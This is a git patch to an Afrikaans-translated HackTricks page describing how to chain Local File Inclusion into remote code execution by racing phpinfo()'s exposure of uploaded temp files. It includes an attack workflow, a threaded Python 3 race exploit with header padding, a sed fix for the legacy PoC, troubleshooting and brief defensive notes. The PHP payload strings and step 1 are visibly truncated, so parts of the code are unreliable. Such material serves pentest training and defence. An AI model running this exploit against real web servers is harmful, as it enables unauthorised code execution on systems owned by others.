From 55e5cbb51cbdfa4450e2ba95f2220e2a6e1f033e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:51:31 +0000 Subject: [PATCH] Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] --- .../file-inclusion/lfi2rce-via-phpinfo.md | 181 ++++++++++++++---- 1 file changed, 143 insertions(+), 38 deletions(-) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 3ed113df1..8c12ea884 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.** +Om hierdie tegniek te misbruik het jy al die volgende nodig: +- 'n Bereikbare bladsy wat phpinfo() uitvoer. +- 'n Local File Inclusion (LFI) primitive wat jy beheer (bv. include/require op gebruikersinvoer). +- PHP file uploads geaktiveer (file_uploads = On). Enige PHP-skrip sal RFC1867 multipart uploads aanvaar en 'n tydelike lêer skep vir elke opgelaaide deel. +- Die PHP worker moet in staat wees om na die gekonfigureerde upload_tmp_dir (of die standaard stelsel temp gids) te skryf en jou LFI moet daardie pad kan include. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Klassieke write-up en oorspronklike PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Oorspronklike PoC-skripnaam: phpinfolfi.py (sien whitepaper en mirrors) -**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -Jy moet die eksploitasie regmaak (verander **=>** na **=>**). Om dit te doen, kan jy: +Aantekeninge oor die oorspronklike PoC +- Die phpinfo() uitvoer is HTML-gekodeer, so die "=>" pyl verskyn dikwels as "=>". As jy ouer skripte hergebruik, maak seker hulle soek na albei enkoderinge wanneer hulle die _FILES[tmp_name] waarde ontleed. +- Jy moet die payload (jou PHP-kode), REQ1 (die versoek na die phpinfo() endpoint insluitend padding), en LFIREQ (die versoek na jou LFI sink) aanpas. Sommige teikens benodig nie 'n null-byte (%00) terminator nie en moderne PHP-weergawes sal dit nie eerbiedig nie. Pas die LFIREQ ooreenkomstig aan vir die kwesbare sink. + +Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -U moet ook die **payload** aan die begin van die exploit verander (vir 'n php-rev-shell byvoorbeeld), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, d.w.s.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, d.w.s.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kontroleer die dubbele "%" wanneer jy die null char exploiteer) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### Teorie +## Teorie -As opgelaai word in PHP en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder. +- Wanneer PHP 'n multipart/form-data POST met 'n file field ontvang, skryf dit die inhoud na 'n tydelike lêer (upload_tmp_dir of die OS-standaard) en maak die pad beskikbaar in $_FILES['']['tmp_name']. Die lêer word outomaties aan die einde van die versoek verwyder tensy dit verplaas/hernommer is. +- Die truuk is om die tydelike naam te leer en dit via jou LFI te include voordat PHP dit opskoon. phpinfo() druk $_FILES uit, insluitend tmp_name. +- Deur request headers/parameters (padding) op te blaas kan jy veroorsaak dat vroeë dele van phpinfo() se uitset na die kliënt gestroom word voordat die versoek klaargemaak is, sodat jy tmp_name kan lees terwyl die tydelike lêer nog bestaan en dan onmiddellik die LFI tref met daardie pad. -As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang te verkry tot die tydelike lêer voordat dit verwyder word. +In Windows is die temp-lêers gewoonlik onder iets soos C:\\Windows\\Temp\\php*.tmp. In Linux/Unix is hulle gewoonlik in /tmp of die gids geconfigureer in upload_tmp_dir. -In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php** +## Aanvals-werksvloei (stap-vir-stap) -In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en dit te benader voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees. - -**phpinfo()** - -**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koptekste) **wat 'n php** omgekeerde **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php-bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer. - -**Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) Stuur 'n groot multipart POST direk na die phpinfo() bladsy sodat dit 'n temp-lêer skep wat jou payload bevat. Blaas verskeie headers/cookies/params op met ~5–10KB vulling om vroeë uitset aan te moedig. Maak seker die form veldnaam stem ooreen met wat jy in $_FILES sal ontleed. + +3) Terwyl die phpinfo() response nog stroom, ontleed die gedeeltelike body om $_FILES['']['tmp_name'] (HTML-geënkodeer) te onttrek. Sodra jy die volle absolute pad het (bv. /tmp/php3Fz9aB), skiet jou LFI om daardie pad te include. As die include() die temp-lêer uitvoer voordat dit verwyder word, loop jou payload en laat /tmp/.p.php val. + +4) Gebruik die gevalle lêer: GET /vuln.php?include=/tmp/.p.php&x=id (of waar jou LFI dit ook al toelaat om in te sluit) om op 'n betroubare wyse opdragte uit te voer. + +> Wenke +> - Gebruik verskeie gelyktydige werkers om jou kanse te verhoog om die wedloop te wen. +> - Vulling-plaatsing wat gewoonlik help: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Staan dit per teiken af. +> - As die kwesbare sink 'n uitbreiding byvoeg (bv. .php), het jy nie 'n null byte nodig nie; include() sal PHP uitvoer ongeag die temp-lêer-uitbreiding. + +## Minimum Python 3 PoC (socket-based) + +Die fragment hieronder fokus op die kritiese dele en is makliker om aan te pas as die legacy Python2 script. Pas HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (pad na die LFI sink), en PAYLOAD aan. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## Probleemoplossing +- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present. +- Output doesn’t flush early: Verhoog padding, voeg meer groot headers by, of stuur meerdere gelyktydige requests. Sommige SAPIs/buffers sal nie flush totdat groter drempels bereik word nie; pas dienooreenkomstig aan. +- LFI path blocked by open_basedir or chroot: Jy moet die LFI na 'n toegelate pad wys of oorskakel na 'n ander LFI2RCE vector. +- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI. + +## Verdedigende notas +- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use. +- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths. +- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist. + +## Verwante HackTricks-tegnieke + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## Verwysings +- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}